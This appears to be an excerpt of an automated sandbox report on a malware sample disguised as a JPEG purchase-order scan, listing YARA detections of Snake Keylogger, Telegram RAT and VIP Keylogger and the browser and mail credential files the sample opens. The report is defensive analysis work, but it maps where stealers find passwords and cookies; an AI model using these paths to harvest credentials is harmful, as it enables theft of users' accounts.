Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 1260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7448, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJnkiZjAPsec.exe PID: 7448, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
